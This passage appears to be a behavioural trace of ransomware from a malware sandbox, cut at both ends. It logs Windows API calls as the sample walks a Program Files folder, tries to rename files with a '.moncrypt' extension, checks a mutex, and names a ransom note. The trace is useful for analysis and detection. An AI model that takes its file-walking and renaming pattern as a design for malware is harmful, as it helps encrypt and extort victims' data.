lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.167] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", cchWideChar=71, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpUsedDefaultChar=0x0) returned 71 [0050.168] CharLowerBuffW (in: lpsz=".wmf", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0050.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfShared\\Stationery\\grid_(cm).wmf", lpUsedDefaultChar=0x0) returned 4 [0050.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 0x54e200 [0050.168] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.168] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.168] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf", dwFileAttributes=0x20) returned 0 [0050.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.moncrypt")) returned 0 [0050.169] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0050.169] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.169] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.169] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.169] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.169] GlobalUnlock (hMem=0x44000c) returned 0 [0050.169] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.169] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.169] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.169] GlobalUnlock (hMem=0x44000c) returned 0 [0050.169] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.169] GlobalUnlock (hMem=0x440004) returned 0 [0050.169] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 0x54e200 [0050.169] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.169] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.169] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf", dwFileAttributes=0x20) returned 0 [0050.170] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.moncrypt")) returned 0 [0050.170] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0050.170] GlobalLock (hMem=0x440004) returned 0x550170 [0050.170] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.170] GlobalUnlock (hMem=0x440004) returned 0 [0050.170] GlobalLock (hMem=0x440004) returned 0x550170 [0050.170] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.170] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.170] GlobalUnlock (hMem=0x440004) returned 0 [0050.170] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.170] GlobalUnlock (hMem=0x44000c) returned 0 [0050.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3f2062a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f2062a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0050.170] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0050.170] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.170] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.171] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.171] GlobalUnlock (hMem=0x44000c) returned 0 [0050.171] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.171] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.171] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.171] GlobalUnlock (hMem=0x44000c) returned 0 [0050.171] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.171] GlobalUnlock (hMem=0x440004) returned 0 [0050.171] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.171] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3f2062a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f2062a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.171] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.171] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.171] GlobalLock (hMem=0x440004) returned 0x550170 [0050.171] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.171] GlobalUnlock (hMem=0x440004) returned 0 [0050.171] GlobalLock (hMem=0x440004) returned 0x550170 [0050.171] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.171] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.171] GlobalUnlock (hMem=0x440004) returned 0 [0050.171] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.171] GlobalUnlock (hMem=0x44000c) returned 0 [0050.171] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.171] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0050.171] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.171] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.171] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.171] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.171] GlobalUnlock (hMem=0x44000c) returned 0 [0050.171] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.171] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.171] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.171] GlobalUnlock (hMem=0x44000c) returned 0 [0050.172] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.172] GlobalUnlock (hMem=0x440004) returned 0 [0050.172] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.172] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0050.172] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.172] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.172] GlobalLock (hMem=0x440004) returned 0x550170 [0050.172] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.172] GlobalUnlock (hMem=0x440004) returned 0 [0050.172] GlobalLock (hMem=0x440004) returned 0x550170 [0050.172] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.172] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.172] GlobalUnlock (hMem=0x440004) returned 0 [0050.172] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.172] GlobalUnlock (hMem=0x44000c) returned 0 [0050.172] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.172] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0050.172] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.172] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.172] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.172] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.172] GlobalUnlock (hMem=0x44000c) returned 0 [0050.172] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.172] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.173] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.173] GlobalUnlock (hMem=0x44000c) returned 0 [0050.173] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.173] GlobalUnlock (hMem=0x440004) returned 0 [0050.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.173] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0050.173] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.173] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.173] GlobalLock (hMem=0x440004) returned 0x550170 [0050.173] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.173] GlobalUnlock (hMem=0x440004) returned 0 [0050.173] GlobalLock (hMem=0x440004) returned 0x550170 [0050.173] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.173] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.173] GlobalUnlock (hMem=0x440004) returned 0 [0050.173] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.173] GlobalUnlock (hMem=0x44000c) returned 0 [0050.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.173] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0050.173] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.173] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.173] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.173] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.173] GlobalUnlock (hMem=0x44000c) returned 0 [0050.173] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.173] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.173] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.173] GlobalUnlock (hMem=0x44000c) returned 0 [0050.173] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.173] GlobalUnlock (hMem=0x440004) returned 0 [0050.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.174] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0050.174] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0050.174] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.174] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.174] GlobalLock (hMem=0x440004) returned 0x550170 [0050.174] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.174] GlobalUnlock (hMem=0x440004) returned 0 [0050.174] GlobalLock (hMem=0x440004) returned 0x550170 [0050.174] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.174] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.174] GlobalUnlock (hMem=0x440004) returned 0 [0050.174] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.174] GlobalUnlock (hMem=0x44000c) returned 0 [0050.174] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.174] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0050.174] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.174] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.174] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.174] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.174] GlobalUnlock (hMem=0x44000c) returned 0 [0050.174] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.174] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.174] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.174] GlobalUnlock (hMem=0x44000c) returned 0 [0050.174] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.174] GlobalUnlock (hMem=0x440004) returned 0 [0050.174] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.174] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0050.174] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.174] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.175] GlobalLock (hMem=0x440004) returned 0x550170 [0050.175] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.175] GlobalUnlock (hMem=0x440004) returned 0 [0050.175] GlobalLock (hMem=0x440004) returned 0x550170 [0050.175] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.175] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.175] GlobalUnlock (hMem=0x440004) returned 0 [0050.175] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.175] GlobalUnlock (hMem=0x44000c) returned 0 [0050.175] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.175] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0050.175] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.175] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.175] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.175] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.175] GlobalUnlock (hMem=0x44000c) returned 0 [0050.175] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.175] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.175] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.175] GlobalUnlock (hMem=0x44000c) returned 0 [0050.175] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.175] GlobalUnlock (hMem=0x440004) returned 0 [0050.175] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.175] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0050.175] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.175] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.175] GlobalLock (hMem=0x440004) returned 0x550170 [0050.175] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.175] GlobalUnlock (hMem=0x440004) returned 0 [0050.175] GlobalLock (hMem=0x440004) returned 0x550170 [0050.175] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.175] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.176] GlobalUnlock (hMem=0x440004) returned 0 [0050.176] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.176] GlobalUnlock (hMem=0x44000c) returned 0 [0050.176] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.176] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, 